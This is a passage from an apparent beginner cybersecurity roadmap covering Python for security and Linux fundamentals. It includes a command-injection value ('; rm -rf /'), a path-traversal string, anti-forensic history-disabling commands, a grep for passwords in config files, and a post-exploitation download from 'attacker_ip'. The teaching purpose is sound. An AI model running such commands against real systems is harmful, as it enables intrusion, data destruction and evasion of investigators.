sorted_ports = sorted([443, 80, 22, 3389, 8080])
index = bisect.bisect_left(sorted_ports, 443)
if sorted_ports[index] == 443:
    print("Port 443 found")

9.3 Sorting

# Python's built-in sort is Timsort — O(n log n) — extremely efficient
ports = [8080, 22, 443, 80, 3389, 21]
ports.sort()                           # In-place sort
sorted_ports = sorted(ports)           # Returns new sorted list

# Sort scan results by severity
vulnerabilities = [
    {"cve": "CVE-2021-44228", "cvss": 10.0, "name": "Log4Shell"},
    {"cve": "CVE-2022-0847", "cvss": 7.8, "name": "Dirty Pipe"},
    {"cve": "CVE-2023-0179", "cvss": 7.8, "name": "Linux Kernel Privesc"},
    {"cve": "CVE-2021-4034", "cvss": 7.8, "name": "PwnKit"},
]
# Sort by CVSS score descending (critical first)
sorted_vulns = sorted(vulnerabilities, key=lambda v: v["cvss"], reverse=True)
for vuln in sorted_vulns:
    print(f"[{vuln['cvss']}] {vuln['cve']}: {vuln['name']}")

# Sort with multiple keys
hosts.sort(key=lambda h: (h["subnet"], h["host_part"]))

9.4 Practical Algorithms for Security

# Frequency analysis — which IPs are making the most requests?
from collections import Counter

with open("/var/log/nginx/access.log", "r") as f:
    ips = [line.split()[0] for line in f if line.strip()]

ip_counts = Counter(ips)
print("Top 10 IPs by request count:")
for ip, count in ip_counts.most_common(10):
    print(f"  {ip}: {count} requests")

# Sliding window — detect port scan (many ports hit in short time)
from collections import defaultdict
from datetime import datetime

connection_log = []  # List of (timestamp, ip, port) tuples

def detect_port_scan(connections, window_seconds=60, threshold=20):
    """Detect if any IP hit more than threshold ports in window_seconds."""
    ip_ports = defaultdict(set)

    for timestamp, ip, port in connections:
        ip_ports[ip].add(port)

    scanners = {ip: ports for ip, ports in ip_ports.items() 
                if len(ports) >= threshold}
    return scanners

# Deduplication while preserving order
def deduplicate(lst):
    seen = set()
    result = []
    for item in lst:
        if item not in seen:
            seen.add(item)
            result.append(item)
    return result

ips_with_duplicates = ["10.0.0.1", "192.168.1.1", "10.0.0.1", "172.16.0.1", "192.168.1.1"]
unique_ips = deduplicate(ips_with_duplicates)
print(unique_ips)                      # ['10.0.0.1', '192.168.1.1', '172.16.0.1']

# Chunking — process large lists in batches
def chunks(lst, size):
    """Split list into chunks of given size."""
    for i in range(0, len(lst), size):
        yield lst[i:i + size]

all_targets = [f"192.168.1.{i}" for i in range(1, 255)]
for batch in chunks(all_targets, 25):
    scan_batch(batch)                  # Scan 25 hosts at a time

9.5 Time Complexity — Why It Matters for Bruteforce

# Understanding time complexity determines if an attack is practical

# Character sets
lowercase = 26
uppercase = 26
digits = 10
special = 32
full = lowercase + uppercase + digits + special  # 94

# Password space calculation
def password_space(charset_size, length):
    return charset_size ** length

# How many passwords in a 8-character lowercase password space?
print(password_space(lowercase, 8))   # 208,827,064,576 (~208 billion)

# At hashcat speed for NTLM (360 billion/second on RTX 4090):
def crack_time_seconds(charset_size, length, hashes_per_second):
    space = password_space(charset_size, length)
    return space / hashes_per_second

speed = 360_000_000_000  # NTLM on RTX 4090
time = crack_time_seconds(lowercase, 8, speed)
print(f"8 lowercase chars, NTLM: {time:.3f} seconds")   # < 1 second!

time = crack_time_seconds(full, 8, speed)
print(f"8 full charset, NTLM: {time:.1f} seconds")      # ~7 seconds

time = crack_time_seconds(full, 12, speed)
hours = time / 3600
years = hours / 8760
print(f"12 full charset, NTLM: {years:.0f} years")      # ~millions of years

# This is exactly why password length matters more than complexity
# And why bcrypt/Argon2 are used (they slow the hashing down by factor of 100,000+)
bcrypt_speed = 100_000  # bcrypt cost 12
time = crack_time_seconds(lowercase, 8, bcrypt_speed)
years = time / (365.25 * 24 * 3600)
print(f"8 lowercase chars, bcrypt: {years:.0f} years")  # Thousands of years

10. Security-Oriented Programming Mindset

10.1 Think Like an Attacker When You Read Code

Every time you read code — whether it is someone else's application, a CTF challenge, or a piece of malware — ask these questions:

Where does user input come from?
input(), command-line arguments, environment variables, file reads, network data, database results — any of these can be attacker-controlled.

Where does that input go?
If input goes into a SQL query without sanitisation → SQL injection.
If input goes into a shell command → command injection.
If input goes into a file path → path traversal.
If input goes into a buffer without length check → buffer overflow.

What are the trust boundaries?
Which parts of the code run with elevated privilege? What can unprivileged input affect?

10.2 Writing Secure Code — The Basics

# INSECURE: Command injection vulnerability
import subprocess

def ping_host(hostname):
    # NEVER DO THIS — if hostname = "google.com; rm -rf /"
    os.system(f"ping -c 1 {hostname}")

# SECURE: Use subprocess with list arguments
def ping_host_safe(hostname):
    # Input validation first
    import re
    if not re.match(r'^[a-zA-Z0-9.-]+$', hostname):
        raise ValueError(f"Invalid hostname: {hostname}")
    # subprocess with list — no shell interpretation
    result = subprocess.run(
        ["ping", "-c", "1", hostname],
        capture_output=True,
        text=True,
        timeout=5
    )
    return result.returncode == 0

# INSECURE: Path traversal vulnerability
def read_file(filename):
    # If filename = "../../../../etc/passwd"
    with open(f"/var/www/files/{filename}") as f:
        return f.read()

# SECURE: Validate and resolve path
from pathlib import Path

def read_file_safe(filename):
    base_dir = Path("/var/www/files").resolve()
    file_path = (base_dir / filename).resolve()
    # Check that resolved path is still inside base directory
    if not str(file_path).startswith(str(base_dir)):
        raise ValueError("Path traversal attempt detected")
    return file_path.read_text()

# INSECURE: Hardcoded credentials
DATABASE_PASSWORD = "supersecret123"   # Never do this

# SECURE: Use environment variables
import os
DATABASE_PASSWORD = os.environ.get("DB_PASSWORD")
if not DATABASE_PASSWORD:
    raise RuntimeError("DB_PASSWORD environment variable not set")

10.3 Writing Reliable Security Scripts

import argparse
import logging
import sys
from datetime import datetime

# Professional script structure

def setup_logging(verbose=False):
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(
        level=level,
        format='%(asctime)s [%(levelname)s] %(message)s',
        handlers=[
            logging.FileHandler(f"scan_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"),
            logging.StreamHandler(sys.stdout)
        ]
    )

def parse_arguments():
    parser = argparse.ArgumentParser(
        description="Port scanner — educational example",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Example: python3 scanner.py -t 192.168.1.1 -p 22,80,443"
    )
    parser.add_argument("-t", "--target", required=True, help="Target host or IP")
    parser.add_argument("-p", "--ports", default="80,443", help="Comma-separated ports")
    parser.add_argument("-T", "--timeout", type=float, default=1.0, help="Timeout in seconds")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("-o", "--output", help="Output file (JSON)")
    return parser.parse_args()

def main():
    args = parse_arguments()
    setup_logging(args.verbose)
    logger = logging.getLogger(__name__)

    logger.info(f"Starting scan of {args.target}")

    try:
        ports = [int(p.strip()) for p in args.ports.split(",")]
    except ValueError as e:
        logger.error(f"Invalid port specification: {e}")
        sys.exit(1)

    results = {}
    for port in ports:
        try:
            is_open = scan_port(args.target, port, args.timeout)
            results[port] = "open" if is_open else "closed"
            logger.info(f"Port {port}: {'OPEN' if is_open else 'closed'}")
        except Exception as e:
            logger.error(f"Error scanning port {port}: {e}")
            results[port] = "error"

    if args.output:
        import json
        with open(args.output, "w") as f:
            json.dump({"target": args.target, "results": results}, f, indent=2)
        logger.info(f"Results written to {args.output}")

    return 0 if any(v == "open" for v in results.values()) else 1

if __name__ == "__main__":
    sys.exit(main())

11. Hands-On Projects

These projects build directly on everything in this module. Complete them in order. Do not look up solutions until you have spent genuine time trying.

Project 1: Port Scanner (1.5 hours)

Build a TCP port scanner from scratch.

#!/usr/bin/env python3
"""
Port Scanner — Stage 0.5 Project 1
Build this yourself using the concepts from this module.
"""

import socket
import sys
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port, timeout=1.0):
    """Return True if port is open."""
    # Your implementation here
    pass

def scan_range(host, start_port, end_port, threads=100):
    """Scan a range of ports using threads."""
    open_ports = []
    # Use ThreadPoolExecutor for concurrent scanning
    # Your implementation here
    return sorted(open_ports)

def main():
    # Use argparse for argument handling
    # Accept: target host, port range, thread count, timeout
    # Output: list of open ports with service names (use socket.getservbyport)
    pass

if __name__ == "__main__":
    main()

# Required features:
# 1. Validate IP/hostname input
# 2. Handle connection refused, timeouts separately
# 3. Multi-threaded scanning
# 4. Show progress
# 5. Output results in a clean format
# 6. Optionally save to JSON

Project 2: Log Analyser (1 hour)

Parse an SSH auth log and produce a security report.

#!/usr/bin/env python3
"""
SSH Log Analyser — Stage 0.5 Project 2
Analyse /var/log/auth.log and produce security insights.
"""

# Your script should:
# 1. Parse auth.log line by line
# 2. Extract: timestamp, event type, username, source IP
# 3. Count: failed attempts by IP, failed attempts by username
# 4. Identify: IPs with > 10 failed attempts (potential brute force)
# 5. Find: successful logins after multiple failures (potential successful brute force)
# 6. Output: formatted report with counts and top attackers
# 7. Optionally: write report to file

# Sample output format:
# === SSH Security Report ===
# Period: 2026-05-29 00:00:00 to 2026-05-29 23:59:59
# Total events: 15,432
# Failed login attempts: 14,891
# Successful logins: 541
#
# Top 5 attacking IPs:
#   1. 45.12.34.56: 2,341 attempts
#   2. 89.45.67.89: 1,876 attempts
#   ...
#
# Suspicious: IPs with successful login after 10+ failures:
#   - 10.0.0.5: 47 failures, then 1 success for user 'admin'

Project 3: Subdomain Enumerator (45 minutes)

#!/usr/bin/env python3
"""
Subdomain Enumerator — Stage 0.5 Project 3
Discover subdomains using a wordlist and DNS resolution.
"""

import socket
from concurrent.futures import ThreadPoolExecutor

def resolve_subdomain(subdomain, domain):
    """Try to resolve subdomain.domain. Return IP if exists, None if not."""
    fqdn = f"{subdomain}.{domain}"
    try:
        ip = socket.gethostbyname(fqdn)
        return fqdn, ip
    except socket.gaierror:
        return None

def enumerate_subdomains(domain, wordlist_path, threads=50):
    """Enumerate subdomains using a wordlist."""
    # Read wordlist
    # Use ThreadPoolExecutor to resolve concurrently
    # Return list of (fqdn, ip) tuples for discovered subdomains
    pass

# Test with: python3 subdomain_enum.py -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Wordlists are in /usr/share/seclists/ on Kali

Project 4: IOC Extractor (30 minutes)

#!/usr/bin/env python3
"""
IOC Extractor — Stage 0.5 Project 4
Extract Indicators of Compromise from text (emails, logs, reports).
"""

import re
import json
import sys

# Extract all of:
# - IPv4 addresses
# - IPv6 addresses  
# - Domain names
# - URLs (http and https)
# - Email addresses
# - MD5 hashes
# - SHA1 hashes
# - SHA256 hashes
# - File paths (Windows and Linux)

def extract_iocs(text):
    """Extract all IOC types from text. Return dict of IOC type → list."""
    # Your regex-based implementation here
    pass

# Usage: cat suspicious_email.txt | python3 ioc_extractor.py
# Or: python3 ioc_extractor.py -f malware_report.txt -o iocs.json

Project 5: Modbus Scanner (OT/ICS Specific — 2 hours)

#!/usr/bin/env python3
"""
Modbus TCP Scanner — Stage 0.5 Project 5
Discover and fingerprint Modbus TCP devices on a network.
This is directly relevant to OT/ICS security assessment.

Install: pip3 install pymodbus
"""

from pymodbus.client import ModbusTcpClient
import ipaddress

def probe_modbus(host, port=502, timeout=2):
    """
    Probe a host for Modbus TCP.
    Try to read device identification (function code 43/14).
    Return device info dict or None.
    """
    try:
        client = ModbusTcpClient(host, port=port, timeout=timeout)
        if not client.connect():
            return None

        # Try reading holding registers (function code 03)
        # Registers 0-9, unit ID 1
        result = client.read_holding_registers(0, 10, slave=1)

        info = {"host": host, "port": port, "responsive": True}

        if not result.isError():
            info["registers"] = result.registers

        client.close()
        return info
    except Exception as e:
        return None

def scan_subnet(subnet, threads=50):
    """Scan an entire subnet for Modbus devices."""
    network = ipaddress.ip_network(subnet, strict=False)
    found_devices = []

    # Your threaded implementation here

    return found_devices

# This scanner demonstrates:
# 1. Industrial protocol implementation in Python
# 2. Network scanning with proper error handling
# 3. Concurrency for performance
# 4. Structured output suitable for reporting

12. Further Reading and Resources

Books

"Automate the Boring Stuff with Python" — Al Sweigart (free at automatetheboringstuff.com). Practical Python without the academic fluff.
"Black Hat Python" — Justin Seitz. Security-specific Python — network sniffer, trojans, forensics tools. Directly applicable.
"Violent Python" — TJ O'Connor. Older but foundational — shows how to build security tools from scratch.
"Learning Python" — Mark Lutz. The comprehensive reference if you want deep language knowledge.

Online Resources

Python official docs — docs.python.org/3 — the most accurate reference
Real Python (realpython.com) — high quality tutorials
PyMOTW (pymotw.com) — Python Module of the Week — deep dives into standard library
regex101.com — test regex patterns interactively with explanation

Practice

Exercism.io (Python track) — structured exercises with mentor feedback
HackerRank (Python domain) — algorithmic challenges
PicoCTF — CTF challenges where Python scripting solves many problems
CryptoHack (cryptohack.org) — cryptography challenges solved in Python

Essential Security Libraries

# Install the core security Python toolkit
pip3 install \
    scapy \          # Packet crafting and analysis
    requests \       # HTTP library
    pwntools \       # CTF/exploit development
    impacket \       # Windows network protocols
    cryptography \   # Cryptographic operations
    paramiko \       # SSH client/server
    pymodbus \       # Modbus industrial protocol
    python-nmap \    # Nmap wrapper
    shodan \         # Shodan API
    volatility3      # Memory forensics

Stage 00 Complete — What You Now Have

With this module, Stage 00 — Foundations is complete. Here is what you have built:

Stage 00 — Complete
├── ✅ Hardware Fundamentals     — CPU rings, RAM attacks, firmware, physical security
├── ✅ OS Fundamentals           — Kernel, user/kernel mode, processes, file systems, syscalls
├── ✅ Windows Fundamentals      — Registry, services, UAC, Defender, PowerShell, Event Log
├── ✅ Linux Fundamentals        — Permissions, users, services, cron, SSH, logs
└── ✅ Programming Fundamentals  — Python, variables, loops, functions, files, regex, algorithms

What this foundation enables:

You understand why the stack smashing vulnerability works — because you know how memory layout works, what stack frames are, and what the instruction pointer does.
You understand why Pass-the-Hash works — because you know NTLM authentication, the Windows token system, and how credentials are stored in LSASS.
You understand why SUID exploitation works — because you know the Linux permission model, the difference between real and effective UID, and how the kernel enforces privilege boundaries.
You can write scripts that automate your work — because you have Python fundamentals and understand file I/O, error handling, and basic algorithms.

Next: Stage 01 — Network Fundamentals

The internet runs on protocols. Every attack crosses a network. Every defence monitors network traffic. Stage 01 builds the networking knowledge that everything from enumeration to exploitation to detection depends on.

Next Stage: Stage 01 — Network Fundamentals

Previous Module: Stage 0.4 — Linux Fundamentals

Stage Index: Stage 00 README

Stage 0.4 — Linux Fundamentals

Rençber AKMAN — Fri, 29 May 2026 07:43:39 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 0 — Computer Science Foundations

Module: 0.4 — Linux Fundamentals

Level: Beginner → Intermediate

Prerequisites: Stage 0.2 — OS Fundamentals, Stage 0.3 — Windows Fundamentals

Next Module: 0.5 — Programming Fundamentals

Why Linux Is the Security Professional's Native Environment
Linux Distributions
The Terminal — Your Primary Interface
Core Commands
File Permissions — rwx, chmod, chown
User Management
Package Management
Service Management — systemctl
Cron Jobs
Bash Scripting Fundamentals
Linux Log System
SSH — Secure Shell
Linux File System Hierarchy (FHS)
Key Takeaways and Security Mindset
Hands-On Exercises
Further Reading and Resources

1. Why Linux Is the Security Professional's Native Environment

Walk into any serious security operations centre, open any penetration testing framework, or look at the infrastructure running the internet — Linux dominates. Apache, Nginx, OpenSSH, iptables, Docker, Kubernetes — all Linux. The majority of web servers, cloud instances, IoT devices, embedded systems, and industrial control systems run some variant of Linux or a Unix-like OS.

More directly: every security tool you will use in this roadmap runs natively on Linux. Metasploit, Burp Suite, Nmap, Wireshark, Volatility, Ghidra, John the Ripper, Hashcat, Gobuster, sqlmap — the list is endless. Kali Linux exists precisely because the security community built its entire toolchain on Linux.

For your OT/ICS path: A significant portion of OT infrastructure runs Linux or embedded Linux variants. Industrial routers, protocol gateways, historian servers, engineering workstations, and HMI systems increasingly run Linux. RTUs based on embedded Linux are common in modern substations. Understanding Linux is not optional for anyone serious about critical infrastructure security.

The security mindset for this module: Linux exposes its internals. Unlike Windows, which hides complexity behind GUIs, Linux makes everything visible — processes, files, network connections, permissions, logs — all readable as text files or command output. This transparency is exactly what security work requires. The command line is not an obstacle. It is precision.

2. Linux Distributions

2.1 What Is a Distribution

The Linux kernel is just the kernel — it provides the interface between hardware and software but does not by itself constitute a usable system. A distribution (distro) bundles the Linux kernel with a package manager, system utilities, a desktop environment (optionally), and a collection of software into a coherent, installable operating system.

All major Linux distributions share the same kernel and most of the same core utilities (GNU coreutils). The differences are in package management, release model, default configuration, target audience, and philosophy.

2.2 Distributions You Will Encounter

Kali Linux

Your primary security platform. Maintained by Offensive Security, Kali is a Debian-based distribution designed specifically for penetration testing, digital forensics, and security research. It comes pre-installed with hundreds of security tools.

Base:           Debian (rolling release)
Package manager: apt / dpkg
Key tools:      Metasploit, Burp Suite, Nmap, Wireshark, Aircrack-ng,
                John the Ripper, Hashcat, BloodHound, Impacket, and 600+ more
Default user:   kali (older versions used root — a security anti-pattern)
Use case:       Attack platform, security research, CTF

Important: Running Kali as root was the historical default but is a poor security habit. Modern Kali runs as a normal user. Never use a security-focused OS as root for daily tasks — if your attack tool is compromised, running as root means the attacker gets root. Use sudo only when needed.

Parrot OS

Debian-based, similar to Kali but lighter and designed to be used as a daily driver alongside security work. Has both a Security edition (full toolset) and a Home edition (lighter, privacy-focused).

Base:           Debian
Use case:       Security work + daily use, privacy-conscious users
Differentiator: Lighter than Kali, AnonSurf for Tor integration

Ubuntu

The most popular Linux distribution for general use. Excellent hardware support, huge community, extensive documentation. Many production servers run Ubuntu LTS (Long Term Support) versions.

Base:           Debian
Release model:  LTS every 2 years (5-year support), interim every 6 months
Package manager: apt / snap
Use case:       Desktop, servers, cloud, your lab VMs

Debian

The upstream distribution that Ubuntu and Kali are both based on. Known for extreme stability — packages are tested thoroughly before inclusion. The choice for servers where stability matters more than having the latest software.

Release model:  Stable (very conservative), Testing, Unstable (Sid)
Use case:       Production servers, base for other distros
Philosophy:     Stability above all, pure free software

CentOS / Rocky Linux / AlmaLinux

CentOS was the community-supported version of Red Hat Enterprise Linux (RHEL). After Red Hat changed CentOS's model in 2021, Rocky Linux and AlmaLinux emerged as replacements. These are the dominant distributions in enterprise server environments, especially in large corporations and government.

Base:           RHEL
Package manager: dnf / rpm
Use case:       Enterprise servers, corporate environments
Security tools: SELinux enabled by default
Note:           You will encounter RHEL-family systems in enterprise assessments

Kali vs Ubuntu: The Lab Choice

For your lab:

Kali Linux — your attack VM, always
Ubuntu Server — your target/practice Linux VM
Why Ubuntu as target? It mirrors real-world server deployments and is what you will encounter in CTFs and production environments

2.3 The Linux Kernel Version and Security

# Check kernel version
uname -r
# Output example: 6.1.0-kali9-amd64

# Full system information
uname -a

# Detailed OS information
cat /etc/os-release
lsb_release -a

Security Relevance of Kernel Version:
Older kernel versions have known privilege escalation vulnerabilities. During post-exploitation, identifying the kernel version is one of the first steps:

# Kernel version + architecture = potential privilege escalation path
uname -r && uname -m
# Compare against: https://www.kernel.org/
# Tools: linux-exploit-suggester, LES (Linux Exploit Suggester 2)

Real examples of kernel-level privilege escalation vulnerabilities by version:

CVE-2016-5195 (Dirty COW) — affects kernels 2.6.22 through 4.8.3 (released 2007, unpatched until 2016)
CVE-2021-4034 (PwnKit) — affects polkit on virtually all Linux systems
CVE-2022-0847 (Dirty Pipe) — affects kernels 5.8 through 5.16.11

3. The Terminal — Your Primary Interface

3.1 Shell vs Terminal vs Console

These terms are often used interchangeably but mean different things:

Terminal emulator — the application window (GNOME Terminal, Konsole, xterm, iTerm2). It provides the interface to interact with the shell.
Shell — the command interpreter that reads your commands and executes them. Common shells: bash, zsh, fish, sh, dash.
Console — the physical or virtual text interface, typically refers to the system console before a graphical environment loads.

# Find out which shell you are using
echo $SHELL
# Output: /bin/bash  or  /bin/zsh  etc.

# List available shells on the system
cat /etc/shells

# Switch to a different shell temporarily
zsh
bash

3.2 The Bash Shell

Bash (Bourne Again Shell) is the default shell on most Linux distributions. It is the shell you will use for the majority of your security work and scripting.

Prompt Anatomy

kali@kali:~$          # Normal user prompt
root@kali:/etc#       # Root user prompt (# instead of $)

# Breakdown:
# kali     = current username
# kali     = hostname
# ~        = current directory (~ = home directory)
# $        = non-root user  |  # = root user

The $ vs # distinction is critical — # means you are root. During a privilege escalation in a CTF or pentest, going from $ to # is the goal.

Essential Shell Shortcuts

Shortcut	Action	Security Use
`Ctrl+C`	Kill current process	Stop a running scan/tool
`Ctrl+Z`	Suspend process to background	Background a listener
`Ctrl+D`	EOF / logout	Close a shell session
`Ctrl+R`	Reverse history search	Find previous commands fast
`Tab`	Autocomplete	Speed + accuracy
`!!`	Repeat last command	`sudo !!` after a permission error
`!nmap`	Repeat last command starting with "nmap"
`Ctrl+L`	Clear screen	Same as `clear`
`Ctrl+A`	Go to beginning of line
`Ctrl+E`	Go to end of line

# History — one of the most valuable forensic artefacts
history              # Show command history
history 50           # Show last 50 commands
!123                 # Re-run command number 123
!!                   # Re-run last command

# History file location
cat ~/.bash_history

# OPSEC note for attackers:
# Disable history for sensitive session
unset HISTFILE        # Don't save history for this session
export HISTSIZE=0     # Set history size to 0
# Or work in /dev/shm (RAM, no disk writes)

3.3 Standard Streams and Redirection

Every Linux process has three standard streams:

stdin (0) — standard input (keyboard by default)
stdout (1) — standard output (terminal by default)
stderr (2) — standard error (terminal by default)

# Redirect stdout to a file (overwrite)
nmap -sV 192.168.1.1 > scan_results.txt

# Redirect stdout to a file (append)
nmap -sV 192.168.1.2 >> scan_results.txt

# Redirect stderr to a file
find / -name "*.conf" 2> errors.txt

# Redirect both stdout and stderr
nmap -sV 192.168.1.1 > output.txt 2>&1
# Or:
nmap -sV 192.168.1.1 &> output.txt

# Discard errors (send to /dev/null — the black hole)
find / -name "passwords.txt" 2>/dev/null
# This suppresses "Permission denied" errors during file searches
# You will use "2>/dev/null" constantly

3.4 Pipes — The Core of Linux Power

The pipe | sends the stdout of one command as stdin to the next. This is the fundamental mechanism for composing powerful one-liners.

# List all processes, filter for a specific one
ps aux | grep "apache"

# Find all SUID files, sort by path
find / -perm -4000 2>/dev/null | sort

# Count lines in output
cat /etc/passwd | wc -l

# Complex chain: find listening services, extract port numbers, sort
ss -tlnp | grep LISTEN | awk '{print $4}' | cut -d: -f2 | sort -n

# netstat equivalent with port and process
ss -tlnp | awk 'NR>1 {print $4, $6}' | column -t

4. Core Commands

4.1 Navigation

# Print working directory — where am I?
pwd

# Change directory
cd /etc                  # Absolute path
cd ..                    # Go up one level
cd ../..                 # Go up two levels
cd ~                     # Go to home directory
cd -                     # Go to previous directory (toggle)

# List directory contents
ls                       # Basic listing
ls -l                    # Long format (permissions, owner, size, date)
ls -la                   # Long format including hidden files (. prefix)
ls -lh                   # Human-readable file sizes (KB, MB, GB)
ls -lt                   # Sort by modification time (newest first)
ls -lR                   # Recursive listing
ls -la /etc/             # List specific directory

# The long format decoded:
# -rwxr-xr--  2  root  wheel  4096  Jan 1 00:00  filename
#  ─────────  ─  ────  ─────  ────  ──────────── ────────
#  permissions links owner group  size  timestamp  name

4.2 File and Directory Operations

# Create
mkdir new_directory
mkdir -p path/to/nested/directory    # Create parent dirs as needed
touch new_file.txt                   # Create empty file or update timestamp

# Copy
cp source.txt destination.txt        # Copy file
cp -r source_dir/ dest_dir/          # Copy directory recursively
cp -p source.txt dest.txt            # Preserve permissions and timestamps

# Move and Rename
mv old_name.txt new_name.txt         # Rename file
mv file.txt /tmp/                    # Move to directory
mv -i file.txt dest.txt              # Interactive (prompt before overwrite)

# Delete
rm file.txt                          # Remove file
rm -f file.txt                       # Force (no error if not exists)
rm -r directory/                     # Remove directory recursively
rm -rf directory/                    # Force recursive removal (use carefully)

# DANGER: rm -rf with wrong path or wildcard can destroy the system
# Always double-check before running rm -rf

# View file contents
cat file.txt                         # Print entire file
cat -n file.txt                      # Print with line numbers
less file.txt                        # Scrollable view (q to quit)
more file.txt                        # Older paginator
head file.txt                        # First 10 lines
head -n 20 file.txt                  # First 20 lines
tail file.txt                        # Last 10 lines
tail -n 20 file.txt                  # Last 20 lines
tail -f /var/log/auth.log            # Follow file (live updates) — essential for log monitoring

4.3 Searching — grep and find

These two commands are among the most important in security work.

grep — Search Inside Files

# Basic search
grep "password" file.txt             # Case-sensitive search
grep -i "password" file.txt          # Case-insensitive
grep -r "password" /etc/             # Recursive through directory
grep -r "password" /etc/ 2>/dev/null # Suppress permission errors

# Line numbers and context
grep -n "root" /etc/passwd           # Show line numbers
grep -A 3 "error" log.txt            # 3 lines AFTER match
grep -B 3 "error" log.txt            # 3 lines BEFORE match
grep -C 3 "error" log.txt            # 3 lines each side (context)

# Invert match (lines NOT matching)
grep -v "^#" /etc/ssh/sshd_config    # Exclude comment lines
grep -v "^$" file.txt                # Exclude empty lines

# Extended regex
grep -E "root|admin|sudo" /etc/passwd
grep -E "^[0-9]{1,3}\.[0-9]{1,3}" file.txt  # Lines starting with IP-like pattern

# Count matches
grep -c "Failed" /var/log/auth.log

# Only print matching part (not whole line)
grep -o "[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+" file.txt  # Extract IP addresses

# Security use cases:
# Find passwords in config files
grep -r "password\|passwd\|secret\|key\|token" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null

# Find failed SSH attempts
grep "Failed password" /var/log/auth.log

# Find successful SSH logins
grep "Accepted" /var/log/auth.log

find — Search the File System

# Find by name
find /etc -name "passwd"             # Exact name match
find /etc -name "*.conf"             # Wildcard
find /etc -iname "*.CONF"           # Case-insensitive

# Find by type
find /tmp -type f                    # Only files
find /tmp -type d                    # Only directories
find /tmp -type l                    # Only symlinks

# Find by permissions
find / -perm -4000 2>/dev/null       # SUID files — privilege escalation check
find / -perm -2000 2>/dev/null       # SGID files
find / -perm -0002 2>/dev/null       # World-writable files

# Find by owner
find / -user root -perm -4000 2>/dev/null    # SUID files owned by root
find /home -user john                         # Files owned by user john
find / -nouser 2>/dev/null                    # Files with no valid owner

# Find by time
find /tmp -mmin -60                  # Modified in last 60 minutes
find /var/log -mtime -1              # Modified in last 24 hours
find /etc -newer /etc/passwd         # Newer than passwd file

# Find by size
find / -size +10M 2>/dev/null        # Files larger than 10MB
find / -size -1k -type f            # Files smaller than 1KB

# Execute command on found files
find / -perm -4000 -exec ls -la {} \; 2>/dev/null
find /tmp -name "*.sh" -exec chmod +x {} \;

# Combined conditions
find / -user root -perm -4000 -not -path "/proc/*" 2>/dev/null

# Security-critical find commands:
# Find recently modified files (potential indicator of compromise)
find /etc -mtime -1 -type f 2>/dev/null
find /var/www -mtime -7 -name "*.php" 2>/dev/null

# Find world-writable directories (potential attack paths)
find / -type d -perm -0002 -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# Find files containing passwords in web directories
find /var/www -name "*.php" -exec grep -l "password\|passwd\|db_pass" {} \;

4.4 Text Processing

# Sort
sort file.txt                        # Alphabetical sort
sort -n file.txt                     # Numerical sort
sort -r file.txt                     # Reverse sort
sort -u file.txt                     # Sort and remove duplicates

# Remove duplicates
uniq sorted_file.txt                 # Remove consecutive duplicates (must be sorted first)
sort file.txt | uniq                 # Sort then deduplicate
sort file.txt | uniq -c             # Count occurrences

# Count
wc -l file.txt                       # Count lines
wc -w file.txt                       # Count words
wc -c file.txt                       # Count bytes

# Cut — extract columns
cat /etc/passwd | cut -d: -f1        # Extract usernames (field 1, colon delimiter)
cat /etc/passwd | cut -d: -f1,3      # Extract username and UID

# Awk — powerful field processing
awk -F: '{print $1}' /etc/passwd     # Same as cut example above
awk -F: '{print $1, $3}' /etc/passwd # Print username and UID
awk '{sum += $1} END {print sum}' numbers.txt  # Sum a column
ps aux | awk '{print $1, $2, $11}'  # Print user, PID, and command

# Sed — stream editor
sed 's/old/new/' file.txt            # Replace first occurrence per line
sed 's/old/new/g' file.txt           # Replace all occurrences
sed 's/password=.*/password=REDACTED/' config.txt  # Redact passwords in output
sed -i 's/old/new/g' file.txt        # Edit file in place (-i)
sed '/^#/d' file.txt                 # Delete comment lines
sed '/^$/d' file.txt                 # Delete empty lines

# tr — translate characters
echo "HELLO" | tr 'A-Z' 'a-z'       # Lowercase
cat file.txt | tr -d '\r'           # Remove Windows carriage returns
echo "hello world" | tr ' ' '\n'    # Replace spaces with newlines

4.5 Network Commands

# IP configuration
ip addr                              # Show all interfaces and IPs
ip addr show eth0                    # Specific interface
ifconfig                             # Legacy (may need net-tools package)

# Routing
ip route                             # Routing table
ip route show default                # Default gateway
route -n                             # Legacy routing table

# Network connections
ss -tlnp                             # TCP listening ports with process names
ss -tulnp                            # TCP and UDP listening
ss -anp                              # All connections
netstat -tlnp                        # Legacy equivalent

# Connectivity testing
ping -c 4 8.8.8.8                    # Ping with 4 packets
ping -c 1 -W 1 192.168.1.1           # Quick single ping, 1 second timeout

# DNS lookups
nslookup domain.com
dig domain.com                       # Detailed DNS query
dig +short domain.com                # Just the IP
dig MX domain.com                    # MX records
host domain.com                      # Simple lookup

# Traceroute
traceroute 8.8.8.8
traceroute -n 8.8.8.8                # No DNS resolution (faster)

# Download files
wget http://example.com/file.txt     # Download file
wget -q -O /tmp/file.txt http://url  # Quiet, specific output path
curl http://example.com              # HTTP request
curl -s http://example.com           # Silent (no progress bar)
curl -o file.txt http://url          # Save to file
curl -L http://url                   # Follow redirects
curl -X POST -d "data=value" http://url  # POST request

# Network file transfer — common in post-exploitation
# On attacker: python3 -m http.server 8080
# On target:   wget http://attacker_ip:8080/file.sh

5. File Permissions — rwx, chmod, chown

We introduced Linux permissions in Stage 0.2 during the ext4 discussion. Here we go deep on every detail, because file permissions are the most common privilege escalation vector on Linux systems.

5.1 Permission Bits — The Full Picture

ls -la /etc/passwd
# -rw-r--r-- 1 root root 2847 Jan 1 00:00 /etc/passwd
# ─────────── 
# Position 1:    file type (- = regular file, d = directory, l = symlink,
#                            b = block device, c = char device, p = pipe, s = socket)
# Positions 2-4: owner permissions (rwx)
# Positions 5-7: group permissions (rwx)
# Positions 8-10: others permissions (rwx)

Reading permission strings:

String	Octal	Meaning
